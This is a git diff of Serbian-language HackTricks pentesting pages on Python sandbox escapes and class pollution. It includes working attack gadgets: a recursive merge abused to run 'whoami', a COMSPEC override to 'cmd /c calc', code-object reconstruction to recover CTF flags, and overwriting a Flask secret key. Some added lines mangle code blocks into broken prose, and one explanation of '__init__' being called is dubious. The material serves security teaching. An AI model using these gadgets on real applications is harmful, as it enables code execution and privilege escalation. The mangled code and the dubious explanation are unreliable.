['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||||
```
|
```
|
||||||
|
|
||||||
### Dobijanje informacija o kodu
|
### Dobijanje informacija o kodu
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Another example
|
# Another example
|
||||||
s = '''
|
s = '''
|
||||||
|
@ -851,7 +920,9 @@ get_flag.__code__.co_freevars
|
||||||
get_flag.__code__.co_code
|
get_flag.__code__.co_code
|
||||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Rastavljanje funkcije**
|
### **Rastavljanje funkcije**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import dis
|
import dis
|
||||||
dis.dis(get_flag)
|
dis.dis(get_flag)
|
||||||
|
@ -879,7 +950,9 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
|
|
||||||
Primetite da **ako ne možete da uvezete `dis` u python sandbox-u** možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive.
|
Primetite da **ako ne možete da uvezete `dis` u python sandbox-u** možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -901,10 +974,12 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
44 LOAD_CONST 0 (0)
|
44 LOAD_CONST 0 (0)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
|
|
||||||
## Kompajliranje Pythona
|
## Kompajliranje Pythona
|
||||||
|
|
||||||
Sada zamislimo da na neki način možete **izvući informacije o funkciji koju ne možete izvršiti**, ali je **morati** **izvršiti**.\
|
Sada zamislimo da na neki način možete **izvući informacije o funkciji koju ne možete izvršiti**, ali je **morati** **izvršiti**.\
|
||||||
Kao u sledećem primeru, **možete pristupiti objektu koda** te funkcije, ali samo čitanjem disasemblera **ne znate kako izračunati zastavu** (_zamislite složeniju funkciju `calc_flag`_).
|
Kao u sledećem primeru, **možete pristupiti objektu koda** te funkcije, ali samo čitanjem disasemblera **ne znate kako izračunati zastavu** (_zamislite složeniju funkciju `calc_flag`_).
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -917,9 +992,11 @@ return calc_flag("VjkuKuVjgHnci")
|
||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Kreiranje objekta koda
|
### Kreiranje objekta koda
|
||||||
|
|
||||||
Prvo što treba da uradimo je da saznamo **kako kreirati i izvršiti objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leaked:
|
Prvo što treba da uradimo je da saznamo **kako kreirati i izvršiti objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leaked:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
|
@ -938,18 +1015,21 @@ mydict = {}
|
||||||
mydict['__builtins__'] = __builtins__
|
mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
|
||||||
Zavisno od verzije pythona, **parametri** `code_type` mogu imati **različit redosled**. Najbolji način da saznate redosled parametara u verziji pythona koju koristite je da pokrenete:
|
Zavisno od verzije pythona, **parametri** `code_type` mogu imati **različit redosled**. Najbolji način da saznate redosled parametara u verziji pythona koju koristite je da pokrenete:
|
||||||
|
|
||||||
```
|
```
|
||||||
import types
|
import types
|
||||||
types.CodeType.__doc__
|
types.CodeType.__doc__
|
||||||
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rekreiranje procurene funkcije
|
### Rekreiranje procurene funkcije
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
U sledećem primeru, uzećemo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
|
U sledećem primeru, uzećemo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||||
|
@ -960,12 +1040,14 @@ mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
#ThisIsTheFlag
|
#ThisIsTheFlag
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zaobilaženje odbrana
|
### Zaobilaženje odbrana
|
||||||
|
|
||||||
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i mogli bismo isto to uraditi koristeći **`exec`**).\
|
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i mogli bismo isto to uraditi koristeći **`exec`**).\
|
||||||
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajliran objekat** na lokalnom računaru i izvršiti ga na **CTF mašini** (na primer, jer nemamo funkciju `compile` na CTF-u).
|
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajliran objekat** na lokalnom računaru i izvršiti ga na **CTF mašini** (na primer, jer nemamo funkciju `compile` na CTF-u).
|
||||||
|
|
||||||
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
|
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
|
@ -992,7 +1074,9 @@ mydict['__builtins__'] = __builtins__
|
||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **odgovarajuću funkciju**, ali direktno pozivanje obično će neuspeti sa: _constructor not accessible in restricted mode_. Dakle, potrebna vam je **funkcija koja nije u restriktivnom okruženju da pozove ovu funkciju.**
|
Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **odgovarajuću funkciju**, ali direktno pozivanje obično će neuspeti sa: _constructor not accessible in restricted mode_. Dakle, potrebna vam je **funkcija koja nije u restriktivnom okruženju da pozove ovu funkciju.**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
|
@ -1000,14 +1084,15 @@ ctype = type((lambda: None).func_code)
|
||||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||||
f(42)
|
f(42)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Dekompilacija kompajliranog Python koda
|
## Dekompilacija kompajliranog Python koda
|
||||||
|
|
||||||
Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **dekompilirati** dati kompajlirani Python kod.
|
Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **dekompilirati** dati kompajlirani Python kod.
|
||||||
|
|
||||||
**Pogledajte ovaj tutorijal**:
|
**Pogledajte ovaj tutorijal**:
|
||||||
|
|
||||||
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Razno Python
|
## Razno Python
|
||||||
|
@ -1016,6 +1101,7 @@ Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompil
|
||||||
|
|
||||||
Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti assert naredbe i bilo koji kod uslovljen vrednošću **debug**.\
|
Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti assert naredbe i bilo koji kod uslovljen vrednošću **debug**.\
|
||||||
Stoga, provere poput
|
Stoga, provere poput
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
try:
|
try:
|
||||||
|
@ -1024,6 +1110,7 @@ print("\nYou are a super user\n")
|
||||||
except AssertionError:
|
except AssertionError:
|
||||||
print(f"\nNot a Super User!!!\n")
|
print(f"\nNot a Super User!!!\n")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||||
|
@ -1035,7 +1122,7 @@ print(f"\nNot a Super User!!!\n")
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Klasna zagađenost (Python-ova zagađenost prototipom)
|
# Class Pollution (Python's Prototype Pollution)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,6 +17,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
## Osnovni primer
|
## Osnovni primer
|
||||||
|
|
||||||
Proverite kako je moguće zagađivati klase objekata sa stringovima:
|
Proverite kako je moguće zagađivati klase objekata sa stringovima:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class Company: pass
|
class Company: pass
|
||||||
class Developer(Company): pass
|
class Developer(Company): pass
|
||||||
|
@ -40,6 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
||||||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Osnovni primer ranjivosti
|
## Osnovni primer ranjivosti
|
||||||
|
|
||||||
Consider the following Python code:
|
Consider the following Python code:
|
||||||
|
@ -90,6 +92,7 @@ print(person.name)
|
||||||
The `name` parameter is now a dictionary with special keys `__class__` and `__init__`. When the `Person` object is created, the `__init__` method of the `Person` class is called with the value `"print('Hacked!')"`. This allows the attacker to execute arbitrary code.
|
The `name` parameter is now a dictionary with special keys `__class__` and `__init__`. When the `Person` object is created, the `__init__` method of the `Person` class is called with the value `"print('Hacked!')"`. This allows the attacker to execute arbitrary code.
|
||||||
|
|
||||||
Sada je parametar `name` rečnik sa posebnim ključevima `__class__` i `__init__`. Kada se kreira objekat `Person`, poziva se metoda `__init__` klase `Person` sa vrednošću `"print('Hacked!')"`. Ovo omogućava napadaču da izvrši proizvoljni kod.
|
Sada je parametar `name` rečnik sa posebnim ključevima `__class__` i `__init__`. Kada se kreira objekat `Person`, poziva se metoda `__init__` klase `Person` sa vrednošću `"print('Hacked!')"`. Ovo omogućava napadaču da izvrši proizvoljni kod.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Initial state
|
# Initial state
|
||||||
class Employee: pass
|
class Employee: pass
|
||||||
|
@ -122,57 +125,36 @@ USER_INPUT = {
|
||||||
merge(USER_INPUT, emp)
|
merge(USER_INPUT, emp)
|
||||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Primeri uređaja
|
## Primeri uređaja
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kreiranje podrazumevane vrednosti svojstva klase za RCE (subprocess)</summary>
|
<summary>Kreiranje podrazumevane vrednosti svojstva klase za RCE (subprocess)</summary>
|
||||||
```python
|
|
||||||
from os import popen
|
|
||||||
class Employee: pass # Creating an empty class
|
|
||||||
class HR(Employee): pass # Class inherits from Employee class
|
|
||||||
class Recruiter(HR): pass # Class inherits from HR class
|
|
||||||
|
|
||||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||||
def execute_command(self):
|
|
||||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
|
||||||
|
|
||||||
def merge(src, dst):
|
def merge(src, dst):
|
||||||
# Recursive merge function
|
|
||||||
for k, v in src.items():
|
|
||||||
if hasattr(dst, '__getitem__'):
|
|
||||||
if dst.get(k) and type(v) == dict:
|
|
||||||
merge(v, dst.get(k))
|
|
||||||
else:
|
|
||||||
dst[k] = v
|
|
||||||
elif hasattr(dst, k) and type(v) == dict:
|
|
||||||
merge(v, getattr(dst, k))
|
|
||||||
else:
|
|
||||||
setattr(dst, k, v)
|
|
||||||
|
|
||||||
USER_INPUT = {
|
## Recursive merge function
|
||||||
"__class__":{
|
|
||||||
"__base__":{
|
|
||||||
"__base__":{
|
|
||||||
"custom_command": "whoami"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
recruiter_emp = Recruiter()
|
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||||
system_admin_emp = SystemAdmin()
|
|
||||||
|
|
||||||
print(system_admin_emp.execute_command())
|
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
|
||||||
|
|
||||||
# Create default value for Employee.custom_command
|
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||||
merge(USER_INPUT, recruiter_emp)
|
|
||||||
|
|
||||||
print(system_admin_emp.execute_command())
|
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
|
||||||
```
|
## Create default value for Employee.custom\_command
|
||||||
|
|
||||||
|
merge(USER\_INPUT, recruiter\_emp)
|
||||||
|
|
||||||
|
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -204,39 +186,33 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
||||||
|
|
||||||
print(not_accessible_variable) #> Polluted variable
|
print(not_accessible_variable) #> Polluted variable
|
||||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Proizvoljno izvršavanje podprocesa</summary>
|
<summary>Proizvoljno izvršavanje podprocesa</summary>
|
||||||
```python
|
|
||||||
import subprocess, json
|
|
||||||
|
|
||||||
class Employee:
|
\`\`\`python import subprocess, json
|
||||||
def __init__(self):
|
|
||||||
pass
|
class Employee: def **init**(self): pass
|
||||||
|
|
||||||
def merge(src, dst):
|
def merge(src, dst):
|
||||||
# Recursive merge function
|
|
||||||
for k, v in src.items():
|
|
||||||
if hasattr(dst, '__getitem__'):
|
|
||||||
if dst.get(k) and type(v) == dict:
|
|
||||||
merge(v, dst.get(k))
|
|
||||||
else:
|
|
||||||
dst[k] = v
|
|
||||||
elif hasattr(dst, k) and type(v) == dict:
|
|
||||||
merge(v, getattr(dst, k))
|
|
||||||
else:
|
|
||||||
setattr(dst, k, v)
|
|
||||||
|
|
||||||
# Overwrite env var "COMSPEC" to execute a calc
|
## Recursive merge function
|
||||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
|
||||||
|
|
||||||
merge(USER_INPUT, Employee())
|
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||||
|
|
||||||
|
## Overwrite env var "COMSPEC" to execute a calc
|
||||||
|
|
||||||
|
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||||
|
|
||||||
|
merge(USER\_INPUT, Employee())
|
||||||
|
|
||||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||||
```
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -279,19 +255,22 @@ merge(emp_info, Employee())
|
||||||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||||
execute() #> Executing echo Polluted
|
execute() #> Executing echo Polluted
|
||||||
#> Polluted
|
#> Polluted
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Prepisivanje tajne Flask-a između fajlova</summary>
|
<summary>Prepisivanje tajne Flask-a između fajlova</summary>
|
||||||
|
|
||||||
Dakle, ako možete izvršiti klasnu zagađenost nad objektom koji je definisan u glavnom Python fajlu veba, **čija je klasa definisana u drugom fajlu** od glavnog. Zato što biste, da biste pristupili \_\_globals\_\_ u prethodnim payloadima, morali pristupiti klasi objekta ili metodama klase, moći ćete **pristupiti globalima u tom fajlu, ali ne i u glavnom**. \
|
Dakle, ako možete izvršiti klasnu zagađenost nad objektom koji je definisan u glavnom Python fajlu veba, **čija je klasa definisana u drugom fajlu** od glavnog. Zato što biste, da biste pristupili \_\_globals\_\_ u prethodnim payloadima, morali pristupiti klasi objekta ili metodama klase, moći ćete **pristupiti globalima u tom fajlu, ali ne i u glavnom**.\
|
||||||
Stoga, **nećete moći pristupiti globalnom objektu Flask-a** koji je definisao **tajni ključ** na glavnoj stranici:
|
Stoga, **nećete moći pristupiti globalnom objektu Flask-a** koji je definisao **tajni ključ** na glavnoj stranici:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
app = Flask(__name__, template_folder='templates')
|
app = Flask(__name__, template_folder='templates')
|
||||||
app.secret_key = '(:secret:)'
|
app.secret_key = '(:secret:)'
|
||||||
```
|
```
|
||||||
|
|
||||||
U ovom scenariju vam je potreban uređaj za pretraživanje datoteka kako biste došli do glavne datoteke i **pristupili globalnom objektu `app.secret_key`** kako biste promenili Flask tajni ključ i bili u mogućnosti da [**povećate privilegije** znajući ovaj ključ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
U ovom scenariju vam je potreban uređaj za pretraživanje datoteka kako biste došli do glavne datoteke i **pristupili globalnom objektu `app.secret_key`** kako biste promenili Flask tajni ključ i bili u mogućnosti da [**povećate privilegije** znajući ovaj ključ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||||
|
|
||||||
Payload poput ovog [iz ovog članka](https://ctftime.org/writeup/36082):
|
Payload poput ovog [iz ovog članka](https://ctftime.org/writeup/36082):
|
||||||
|
@ -325,7 +304,7 @@ Drugi načini da podržite HackTricks:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
300
hardware-physical-access/escaping-from-gui-applications.md
Normal file
300
hardware-physical-access/escaping-from-gui-applications.md
Normal file
|
@ -0,0 +1,300 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite videti **oglašavanje vaše kompanije na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
